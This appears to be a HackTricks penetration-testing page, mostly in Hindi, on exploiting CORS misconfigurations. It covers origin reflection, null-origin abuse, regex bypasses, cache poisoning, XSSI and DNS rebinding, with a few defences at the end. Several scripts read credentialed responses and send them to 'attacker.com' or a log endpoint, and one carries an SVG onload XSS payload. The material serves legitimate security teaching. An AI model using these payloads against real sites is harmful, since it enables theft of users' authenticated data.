CORS - Misconfigurations & Bypass

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

What is CORS?

Cross-Origin Resource Sharing (CORS) मानक सर्वरों को यह परिभाषित करने की अनुमति देता है कि कौन उनके संसाधनों तक पहुँच सकता है और कौन से HTTP अनुरोध विधियाँ बाहरी स्रोतों से अनुमत हैं।

एक same-origin नीति यह अनिवार्य करती है कि एक सर्वर जो एक संसाधन का अनुरोध कर रहा है और वह सर्वर जो संसाधन होस्ट कर रहा है, एक ही प्रोटोकॉल (जैसे, http://), डोमेन नाम (जैसे, internal-web.com), और पोर्ट (जैसे, 80) साझा करें। इस नीति के तहत, केवल समान डोमेन और पोर्ट से वेब पृष्ठों को संसाधनों तक पहुँचने की अनुमति है।

http://normal-website.com/example/example.html के संदर्भ में same-origin नीति का अनुप्रयोग निम्नलिखित रूप में दर्शाया गया है:

URL accessed	Access permitted?
http://normal-website.com/example/	हाँ: समान स्कीम, डोमेन, और पोर्ट
http://normal-website.com/example2/	हाँ: समान स्कीम, डोमेन, और पोर्ट
https://normal-website.com/example/	नहीं: भिन्न स्कीम और पोर्ट
http://en.normal-website.com/example/	नहीं: भिन्न डोमेन
http://www.normal-website.com/example/	नहीं: भिन्न डोमेन
http://normal-website.com:8080/example/	नहीं: भिन्न पोर्ट*

*Internet Explorer समान-उत्पत्ति नीति को लागू करते समय पोर्ट संख्या की अनदेखी करता है, जिससे इस पहुँच की अनुमति मिलती है।

Access-Control-Allow-Origin Header

यह हेडर कई उत्पत्तियों, एक null मान, या एक वाइल्डकार्ड * की अनुमति दे सकता है। हालाँकि, कोई भी ब्राउज़र कई उत्पत्तियों का समर्थन नहीं करता, और वाइल्डकार्ड * के उपयोग पर सीमाएँ हैं। (वाइल्डकार्ड को अकेले उपयोग किया जाना चाहिए, और Access-Control-Allow-Credentials: true के साथ इसका उपयोग अनुमति नहीं है।)

यह हेडर एक सर्वर द्वारा एक क्रॉस-डोमेन संसाधन अनुरोध के जवाब में जारी किया जाता है जो एक वेबसाइट द्वारा आरंभ किया गया है, जिसमें ब्राउज़र स्वचालित रूप से एक Origin हेडर जोड़ता है।

Access-Control-Allow-Credentials Header

डिफ़ॉल्ट रूप से, क्रॉस-उत्पत्ति अनुरोध बिना क्रेडेंशियल्स जैसे कुकीज़ या ऑथराइजेशन हेडर के किए जाते हैं। फिर भी, एक क्रॉस-डोमेन सर्वर क्रेडेंशियल्स भेजे जाने पर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब वह Access-Control-Allow-Credentials हेडर को true पर सेट करता है।

यदि इसे true पर सेट किया गया, तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) भेजेगा।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

जब विशेष परिस्थितियों के तहत क्रॉस-डोमेन अनुरोध शुरू किया जाता है, जैसे कि गैर-मानक HTTP विधि (HEAD, GET, POST के अलावा कुछ भी) का उपयोग करना, नए हेडर पेश करना, या विशेष Content-Type हेडर मान का उपयोग करना, तो एक प्री-फ्लाइट अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, OPTIONS विधि का उपयोग करते हुए, सर्वर को आगामी क्रॉस-ओरिजिन अनुरोध के इरादों के बारे में सूचित करने के लिए है, जिसमें HTTP विधियाँ और हेडर शामिल हैं जिनका वह उपयोग करने का इरादा रखता है।

क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) प्रोटोकॉल इस प्री-फ्लाइट जांच की मांग करता है ताकि अनुरोधित क्रॉस-ओरिजिन ऑपरेशन की व्यवहार्यता का निर्धारण किया जा सके, जो अनुमत विधियों, हेडरों और मूल की विश्वसनीयता की पुष्टि करता है। प्री-फ्लाइट अनुरोध की आवश्यकता से बचने के लिए किन परिस्थितियों का पालन किया जाता है, इसके लिए Mozilla Developer Network (MDN) द्वारा प्रदान किए गए व्यापक गाइड को देखें।

यह ध्यान रखना महत्वपूर्ण है कि प्री-फ्लाइट अनुरोध की अनुपस्थिति प्रतिक्रिया के लिए प्राधिकरण हेडर ले जाने की आवश्यकता को समाप्त नहीं करती है। इन हेडरों के बिना, ब्राउज़र क्रॉस-ओरिजिन अनुरोध से प्रतिक्रिया को संसाधित करने में असमर्थ है।

PUT विधि का उपयोग करने और Special-Request-Header नामक एक कस्टम हेडर के साथ प्री-फ्लाइट अनुरोध का निम्नलिखित चित्रण पर विचार करें:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

इसके जवाब में, सर्वर हेडर वापस कर सकता है जो स्वीकृत विधियों, अनुमत मूल, और अन्य CORS नीति विवरणों को इंगित करते हैं, जैसा कि नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: यह हेडर यह निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर का उपयोग किया जा सकता है। इसे सर्वर द्वारा सेट किया जाता है ताकि क्लाइंट से अनुरोधों में अनुमत हेडर का संकेत दिया जा सके।

• Access-Control-Expose-Headers: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर सरल प्रतिक्रिया हेडर के अलावा प्रतिक्रिया के हिस्से के रूप में उजागर किए जा सकते हैं।

• Access-Control-Max-Age: यह हेडर यह संकेत करता है कि प्री-फ्लाइट अनुरोध के परिणामों को कितनी देर तक कैश किया जा सकता है। सर्वर अधिकतम समय सेट करता है, सेकंड में, कि प्री-फ्लाइट अनुरोध द्वारा लौटाई गई जानकारी को कितनी बार पुनः उपयोग किया जा सकता है।

• Access-Control-Request-Headers: प्री-फ्लाइट अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा सेट किया जाता है ताकि सर्वर को सूचित किया जा सके कि क्लाइंट वास्तविक अनुरोध में कौन से HTTP हेडर का उपयोग करना चाहता है।

• Access-Control-Request-Method: यह हेडर, जो प्री-फ्लाइट अनुरोधों में भी उपयोग किया जाता है, क्लाइंट द्वारा सेट किया जाता है ताकि यह संकेत दिया जा सके कि वास्तविक अनुरोध में कौन सा HTTP विधि का उपयोग किया जाएगा।

• Origin: यह हेडर स्वचालित रूप से ब्राउज़र द्वारा सेट किया जाता है और क्रॉस-ओरिजिन अनुरोध के मूल को इंगित करता है। इसका उपयोग सर्वर द्वारा यह आकलन करने के लिए किया जाता है कि क्या आने वाले अनुरोध को CORS नीति के आधार पर अनुमति दी जानी चाहिए या अस्वीकृत किया जाना चाहिए।

ध्यान दें कि आमतौर पर (सामग्री-प्रकार और सेट किए गए हेडर के आधार पर) एक GET/POST अनुरोध में कोई प्री-फ्लाइट अनुरोध नहीं भेजा जाता (अनुरोध प्रत्यक्ष भेजा जाता है), लेकिन यदि आप प्रतिक्रिया के हेडर/शरीर तक पहुंचना चाहते हैं, तो इसमें Access-Control-Allow-Origin हेडर होना चाहिए जो इसकी अनुमति देता है। इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं करता (लेकिन यह सहायक हो सकता है)।

स्थानीय नेटवर्क अनुरोध प्री-फ्लाइट अनुरोध

1. Access-Control-Request-Local-Network: यह हेडर क्लाइंट के अनुरोध में शामिल किया जाता है ताकि यह संकेत दिया जा सके कि पूछताछ एक स्थानीय नेटवर्क संसाधन के लिए है। यह सर्वर को सूचित करने के लिए एक मार्कर के रूप में कार्य करता है कि अनुरोध स्थानीय नेटवर्क के भीतर से उत्पन्न होता है।

2. Access-Control-Allow-Local-Network: इसके जवाब में, सर्वर इस हेडर का उपयोग यह संप्रेषित करने के लिए करते हैं कि अनुरोधित संसाधन को स्थानीय नेटवर्क के बाहर की संस्थाओं के साथ साझा करने की अनुमति है। यह विभिन्न नेटवर्क सीमाओं के पार संसाधनों को साझा करने के लिए एक हरी बत्ती के रूप में कार्य करता है, जबकि सुरक्षा प्रोटोकॉल को बनाए रखते हुए नियंत्रित पहुंच सुनिश्चित करता है।

एक मान्य प्रतिक्रिया जो स्थानीय नेटवर्क अनुरोध की अनुमति देती है को प्रतिक्रिया में हेडर Access-Controls-Allow-Local_network: true भी होना चाहिए:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

ध्यान दें कि लिनक्स 0.0.0.0 आईपी इन आवश्यकताओं को बायपास करने के लिए काम करता है ताकि लोकलहोस्ट तक पहुंचा जा सके क्योंकि उस आईपी पते को "स्थानीय" नहीं माना जाता है।

यदि आप स्थानीय एंडपॉइंट का सार्वजनिक आईपी पता (जैसे राउटर का सार्वजनिक आईपी) का उपयोग करते हैं तो स्थानीय नेटवर्क आवश्यकताओं को बायपास करना भी संभव है। क्योंकि कई अवसरों पर, भले ही सार्वजनिक आईपी तक पहुंचा जा रहा हो, यदि यह स्थानीय नेटवर्क से है, तो पहुंच दी जाएगी।

शोषणीय गलत कॉन्फ़िगरेशन

यह देखा गया है कि Access-Control-Allow-Credentials को true पर सेट करना अधिकांश वास्तविक हमलों के लिए एक पूर्वापेक्षा है। यह सेटिंग ब्राउज़र को क्रेडेंशियल भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, जिससे हमले की प्रभावशीलता बढ़ती है। इसके बिना, ब्राउज़र को अनुरोध करने के लाभ को स्वयं करने की तुलना में कम कर दिया जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का लाभ उठाना असंभव हो जाता है।

अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण

एक अपवाद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के एक रूप के रूप में कार्य करता है। यह पीड़ित के ब्राउज़र को एक प्रॉक्सी के रूप में उपयोग करने की अनुमति देता है, आईपी-आधारित प्रमाणीकरण को बायपास करते हुए इंट्रानेट अनुप्रयोगों तक पहुंचने के लिए। इस विधि का प्रभाव DNS रीबाइंडिंग के साथ समानताएँ साझा करता है लेकिन इसे शोषण करना सरल है।

Access-Control-Allow-Origin में Origin का परावर्तन

वास्तविक परिदृश्य जहां Origin हेडर का मान Access-Control-Allow-Origin में परावर्तित होता है, सिद्धांत रूप से असंभव है क्योंकि इन हेडरों को संयोजित करने पर प्रतिबंध हैं। हालाँकि, डेवलपर्स जो कई URL के लिए CORS सक्षम करना चाहते हैं, वे Origin हेडर के मान को कॉपी करके Access-Control-Allow-Origin हेडर को गतिशील रूप से उत्पन्न कर सकते हैं। यह दृष्टिकोण कमजोरियों को पेश कर सकता है, विशेष रूप से जब एक हमलावर एक ऐसा डोमेन उपयोग करता है जिसका नाम वैध दिखने के लिए डिज़ाइन किया गया है, जिससे मान्यता लॉजिक को धोखा दिया जा सके।

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Origin का लाभ उठाना

null origin, जिसे रीडायरेक्ट या स्थानीय HTML फ़ाइलों जैसी स्थितियों के लिए निर्दिष्ट किया गया है, एक अद्वितीय स्थिति रखता है। कुछ अनुप्रयोग इस origin को स्थानीय विकास को सुविधाजनक बनाने के लिए व्हाइटलिस्ट करते हैं, अनजाने में किसी भी वेबसाइट को एक sandboxed iframe के माध्यम से null origin की नकल करने की अनुमति देते हैं, इस प्रकार CORS प्रतिबंधों को बायपास करते हैं।

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

नियमित अभिव्यक्ति बायपास तकनीकें

जब एक डोमेन व्हाइटलिस्ट का सामना करना पड़ता है, तो बायपास के अवसरों का परीक्षण करना महत्वपूर्ण है, जैसे कि हमलावर के डोमेन को व्हाइटलिस्टेड डोमेन में जोड़ना या सबडोमेन टेकओवर कमजोरियों का लाभ उठाना। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग की जाने वाली नियमित अभिव्यक्तियाँ डोमेन नामकरण परंपराओं में बारीकियों को नजरअंदाज कर सकती हैं, जिससे और भी बायपास के अवसर उत्पन्न होते हैं।

उन्नत नियमित अभिव्यक्ति बायपास

Regex पैटर्न आमतौर पर अल्फ़ान्यूमेरिक, डॉट (.), और हाइफ़न (-) वर्णों पर केंद्रित होते हैं, अन्य संभावनाओं की अनदेखी करते हैं। उदाहरण के लिए, एक डोमेन नाम जो ऐसे वर्णों को शामिल करने के लिए तैयार किया गया है जिन्हें ब्राउज़रों और regex पैटर्न द्वारा अलग तरीके से व्याख्यायित किया जाता है, सुरक्षा जांचों को बायपास कर सकता है। Safari, Chrome, और Firefox का सबडोमेन में अंडरस्कोर वर्णों को संभालने का तरीका दिखाता है कि कैसे ऐसे भिन्नताएँ डोमेन मान्यता तर्क को दरकिनार करने के लिए उपयोग की जा सकती हैं।

इस बायपास जांच की अधिक जानकारी और सेटिंग्स के लिए: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

एक सबडोमेन के अंदर XSS से

डेवलपर्स अक्सर CORS शोषण से बचाने के लिए सुरक्षा तंत्र लागू करते हैं, उन डोमेन को व्हाइटलिस्ट करके जिन्हें जानकारी मांगने की अनुमति है। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन के भीतर एक भी कमजोर सबडोमेन की उपस्थिति अन्य कमजोरियों, जैसे कि XSS (क्रॉस-साइट स्क्रिप्टिंग) के माध्यम से CORS शोषण के लिए दरवाजे खोल सकती है।

उदाहरण के लिए, उस परिदृश्य पर विचार करें जहाँ एक डोमेन, requester.com, को दूसरे डोमेन, provider.com, से संसाधनों तक पहुँचने के लिए व्हाइटलिस्ट किया गया है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस तरह दिख सकता है:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

इस सेटअप में, requester.com के सभी सबडोमेन को एक्सेस की अनुमति है। हालाँकि, यदि कोई सबडोमेन, जैसे sub.requester.com, XSS कमजोरियों के साथ समझौता किया गया है, तो एक हमलावर इस कमजोरी का लाभ उठा सकता है। उदाहरण के लिए, sub.requester.com तक पहुँच रखने वाला एक हमलावर XSS कमजोरी का उपयोग करके CORS नीतियों को बायपास कर सकता है और provider.com पर संसाधनों तक दुर्भावनापूर्ण तरीके से पहुँच प्राप्त कर सकता है।

सर्वर-साइड कैश पॉइज़निंग

इस शोध से

यह संभव है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का लाभ उठाकर एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी उत्पन्न की जा सके। यह परिदृश्य तब सामने आता है जब एक एप्लिकेशन अवैध वर्णों के लिए Origin हेडर को साफ़ करने में विफल रहता है, जो विशेष रूप से इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक कमजोरी पैदा करता है। ये ब्राउज़र (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में मानते हैं, जिससे HTTP हेडर इंजेक्शन कमजोरियाँ उत्पन्न होती हैं।

उस अनुरोध पर विचार करें जहाँ Origin हेडर को हेरफेर किया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer और Edge प्रतिक्रिया को इस प्रकार समझते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: HTTP हेडर इंजेक्शन कमजोरियों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता-प्रदत्त इनपुट, जिसमें HTTP हेडर शामिल हैं, को मान्य और स्वच्छ करने के महत्व को रेखांकित करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता शामिल हो ताकि ऐसी कमजोरियों को रोका जा सके।

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

Cross-Origin Resource Sharing (CORS) नीतियाँ कस्टम हेडर भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण यदि प्रतिक्रिया को सीधे ब्राउज़र द्वारा प्रस्तुत नहीं किया जाता है, तो ऐसी इंजेक्शन की उपयोगिता सीमित लग सकती है। महत्वपूर्ण बिंदु तब उठता है जब ब्राउज़र के कैश व्यवहार पर विचार किया जाता है। यदि Vary: Origin हेडर निर्दिष्ट नहीं किया गया है, तो यह संभव हो जाता है कि दुर्भावनापूर्ण प्रतिक्रिया को ब्राउज़र द्वारा कैश किया जाए। इसके बाद, यह कैश की गई प्रतिक्रिया सीधे उस URL पर नेविगेट करते समय प्रस्तुत की जा सकती है, प्रारंभिक अनुरोध पर सीधे प्रस्तुत करने की आवश्यकता को दरकिनार करते हुए। यह तंत्र हमले की विश्वसनीयता को बढ़ाता है क्योंकि यह क्लाइंट-साइड कैशिंग का लाभ उठाता है।

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here's a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, जिसे Cross-Site Script Inclusion के नाम से भी जाना जाता है, एक प्रकार की भेद्यता है जो इस तथ्य का लाभ उठाती है कि Same Origin Policy (SOP) का पालन नहीं किया जाता है जब संसाधनों को स्क्रिप्ट टैग का उपयोग करके शामिल किया जाता है। इसका कारण यह है कि स्क्रिप्ट को विभिन्न डोमेन से शामिल किया जा सकता है। यह भेद्यता एक हमलावर को स्क्रिप्ट टैग का उपयोग करके शामिल की गई किसी भी सामग्री को एक्सेस और पढ़ने की अनुमति देती है।

यह भेद्यता विशेष रूप से महत्वपूर्ण हो जाती है जब यह गतिशील JavaScript या JSONP (JSON with Padding) की बात आती है, विशेष रूप से जब ऑथेंटिकेशन के लिए कुकीज़ जैसी वातावरण-प्राधिकरण जानकारी का उपयोग किया जाता है। जब किसी अलग होस्ट से संसाधन का अनुरोध किया जाता है, तो कुकीज़ शामिल की जाती हैं, जिससे वे हमलावर के लिए उपलब्ध हो जाती हैं।

इस भेद्यता को बेहतर ढंग से समझने और कम करने के लिए, आप https://github.com/kapytein/jsonp पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपकी वेब अनुप्रयोगों में संभावित XSSI भेद्यताओं की पहचान करने और उन्हें संबोधित करने में मदद कर सकता है।

XSSI के विभिन्न प्रकारों और उन्हें कैसे शोषण करें, इसके बारे में अधिक पढ़ें।

अनुरोध में एक callback पैरामीटर जोड़ने का प्रयास करें। शायद पृष्ठ को JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। इस मामले में, पृष्ठ Content-Type: application/javascript के साथ डेटा वापस भेजेगा, जो CORS नीति को बायपास करेगा।

Easy (useless?) bypass

Access-Control-Allow-Origin प्रतिबंध को बायपास करने का एक तरीका यह है कि एक वेब अनुप्रयोग से अनुरोध किया जाए कि वह आपके लिए एक अनुरोध करे और प्रतिक्रिया वापस भेजे। हालाँकि, इस परिदृश्य में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक अलग डोमेन पर किया गया है।

1. CORS-escape: यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को इसके हेडर के साथ आगे बढ़ाता है, जबकि अनुरोधित डोमेन से मेल खाने के लिए Origin हेडर को भी स्पूफ करता है। यह प्रभावी रूप से CORS नीति को बायपास करता है। यहाँ XMLHttpRequest के साथ उपयोग का एक उदाहरण है:

2. simple-cors-escape: यह उपकरण अनुरोधों को प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। आपके अनुरोध को जैसा है वैसा पास करने के बजाय, सर्वर निर्दिष्ट पैरामीटर के साथ अपना स्वयं का अनुरोध करता है।

Iframe + Popup Bypass

आप e.origin === window.origin जैसे CORS जांचों को एक iframe बनाकर और उससे एक नई विंडो खोलकर बायपास कर सकते हैं। अधिक जानकारी के लिए निम्नलिखित पृष्ठ में देखें:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

TTL के माध्यम से DNS रीबाइंडिंग एक तकनीक है जिसका उपयोग कुछ सुरक्षा उपायों को बायपास करने के लिए DNS रिकॉर्ड को हेरफेर करके किया जाता है। यह कैसे काम करता है:

1. हमलावर एक वेब पृष्ठ बनाता है और पीड़ित को इसे एक्सेस करने के लिए कहता है।

2. फिर हमलावर अपने डोमेन का DNS (IP) बदलता है ताकि यह पीड़ित के वेब पृष्ठ की ओर इशारा करे।

3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया को कैश करता है, जिसमें TTL (Time to Live) मान हो सकता है जो यह दर्शाता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।

4. जब TTL समाप्त होता है, तो पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावर को पीड़ित के पृष्ठ पर JavaScript कोड निष्पादित करने की अनुमति मिलती है।

5. पीड़ित के IP पर नियंत्रण बनाए रखकर, हमलावर बिना किसी कुकीज़ को पीड़ित सर्वर पर भेजे बिना पीड़ित से जानकारी एकत्र कर सकता है।

यह ध्यान रखना महत्वपूर्ण है कि ब्राउज़रों में कैशिंग तंत्र होते हैं जो इस तकनीक के तात्कालिक दुरुपयोग को रोक सकते हैं, भले ही TTL मान कम हो।

DNS रीबाइंडिंग पीड़ित द्वारा किए गए स्पष्ट IP जांचों को बायपास करने के लिए या उन परिदृश्यों के लिए उपयोगी हो सकती है जहाँ एक उपयोगकर्ता या बॉट एक विस्तारित अवधि के लिए एक ही पृष्ठ पर रहता है, जिससे कैश समाप्त हो जाता है।

यदि आपको DNS रीबाइंडिंग का दुरुपयोग करने का एक त्वरित तरीका चाहिए, तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवाओं का उपयोग कर सकते हैं।

अपने स्वयं के DNS रीबाइंडिंग सर्वर को चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें आपके स्थानीय पोर्ट 53/udp को उजागर करना, इसके लिए एक A रिकॉर्ड बनाना (जैसे, ns.example.com), और पहले बनाए गए A उपडोमेन (जैसे, ns.example.com) की ओर इशारा करने वाला एक NS रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन तब आपके होस्ट द्वारा हल किया जाएगा।

आप आगे की समझ और प्रयोग के लिए http://rebind.it/singularity.html पर एक सार्वजनिक रूप से चलने वाले सर्वर का भी अन्वेषण कर सकते हैं।

DNS Rebinding via DNS Cache Flooding

DNS कैश बाढ़ के माध्यम से DNS रीबाइंडिंग एक और तकनीक है जिसका उपयोग ब्राउज़रों के कैशिंग तंत्र को बायपास करने और एक दूसरा DNS अनुरोध करने के लिए किया जाता है। यह कैसे काम करता है:

1. प्रारंभ में, जब पीड़ित एक DNS अनुरोध करता है, तो इसे हमलावर के IP पते के साथ उत्तर दिया जाता है।

2. कैशिंग रक्षा को बायपास करने के लिए, हमलावर एक सेवा कार्यकर्ता का लाभ उठाता है। सेवा कार्यकर्ता DNS कैश को बाढ़ करता है, जो प्रभावी रूप से कैश किए गए हमलावर सर्वर नाम को हटा देता है।

3. जब पीड़ित का ब्राउज़र एक दूसरा DNS अनुरोध करता है, तो इसे अब IP पते 127.0.0.1 के साथ उत्तर दिया जाता है, जो आमतौर पर लोकलहोस्ट को संदर्भित करता है।

सेवा कार्यकर्ता के साथ DNS कैश को बाढ़ करके, हमलावर DNS समाधान प्रक्रिया को हेरफेर कर सकता है और पीड़ित के ब्राउज़र को एक दूसरा अनुरोध करने के लिए मजबूर कर सकता है, इस बार हमलावर के इच्छित IP पते को हल करते हुए।

DNS Rebinding via Cache

कैशिंग रक्षा को बायपास करने का एक और तरीका DNS प्रदाता में एक ही उपडोमेन के लिए कई IP पते का उपयोग करना है। यह कैसे काम करता है:

1. हमलावर DNS प्रदाता में एक ही उपडोमेन के लिए दो A रिकॉर्ड (या दो IPs के साथ एक A रिकॉर्ड) सेट करता है।

2. जब एक ब्राउज़र इन रिकॉर्ड्स की जांच करता है, तो यह दोनों IP पते प्राप्त करता है।

3. यदि ब्राउज़र पहले हमलावर के IP पते का उपयोग करने का निर्णय लेता है, तो हमलावर एक पेलोड प्रदान कर सकता है जो उसी डोमेन पर HTTP अनुरोध करता है।

4. हालाँकि, एक बार जब हमलावर पीड़ित के IP पते को प्राप्त कर लेता है, तो वे पीड़ित के ब्राउज़र को उत्तर देना बंद कर देते हैं।

5. पीड़ित का ब्राउज़र, यह realizing करते हुए कि डोमेन अनुत्तरदायी है, दूसरे दिए गए IP पते का उपयोग करने के लिए आगे बढ़ता है।

6. दूसरे IP पते तक पहुँचकर, ब्राउज़र Same Origin Policy (SOP) को बायपास करता है, जिससे हमलावर इसका दुरुपयोग कर सकता है और जानकारी एकत्र और एक्सफिल्ट्रेट कर सकता है।

यह तकनीक उन ब्राउज़रों के व्यवहार का लाभ उठाती है जब एक डोमेन के लिए कई IP पते प्रदान किए जाते हैं। प्रतिक्रियाओं को रणनीतिक रूप से नियंत्रित करके और ब्राउज़र के IP पते के चयन में हेरफेर करके, एक हमलावर SOP का शोषण कर सकता है और पीड़ित से जानकारी प्राप्त कर सकता है।

यह ध्यान दें कि लोकलहोस्ट तक पहुँचने के लिए आपको Windows में 127.0.0.1 और Linux में 0.0.0.0 को रीबाइंड करने का प्रयास करना चाहिए। प्रदाताओं जैसे godaddy या cloudflare ने मुझे IP 0.0.0.0 का उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे 2 IPs के साथ एक A रिकॉर्ड बनाने की अनुमति दी, जिनमें से एक "0.0.0.0" था।

अधिक जानकारी के लिए आप https://unit42.paloaltonetworks.com/dns-rebinding/ देख सकते हैं।

Other Common Bypasses

• यदि आंतरिक IPs की अनुमति नहीं है, तो वे 0.0.0.0 को प्रतिबंधित करना भूल सकते हैं (Linux और Mac पर काम करता है)

• यदि आंतरिक IPs की अनुमति नहीं है, तो localhost के लिए एक CNAME के साथ उत्तर दें (Linux और Mac पर काम करता है)

• यदि आंतरिक IPs को DNS प्रतिक्रियाओं के रूप में अनुमति नहीं है, तो आप आंतरिक सेवाओं के लिए CNAMEs के साथ उत्तर दे सकते हैं जैसे www.corporate.internal।

DNS Rebidding Weaponized

आप पिछले बायपास तकनीकों और निम्नलिखित उपकरण का उपयोग कैसे करें, इसके बारे में अधिक जानकारी Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference में पा सकते हैं।

Singularity of Origin एक उपकरण है जो DNS रीबाइंडिंग हमलों को करने के लिए है। इसमें हमलावर सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर रीबाइंड करने और लक्षित मशीन पर कमजोर सॉफ़्टवेयर का शोषण करने के लिए हमलावर पेलोड प्रदान करने के लिए आवश्यक घटक शामिल हैं।

Real Protection against DNS Rebinding

• आंतरिक सेवाओं में TLS का उपयोग करें

• डेटा तक पहुँचने के लिए प्रमाणीकरण का अनुरोध करें

• होस्ट हेडर को मान्य करें

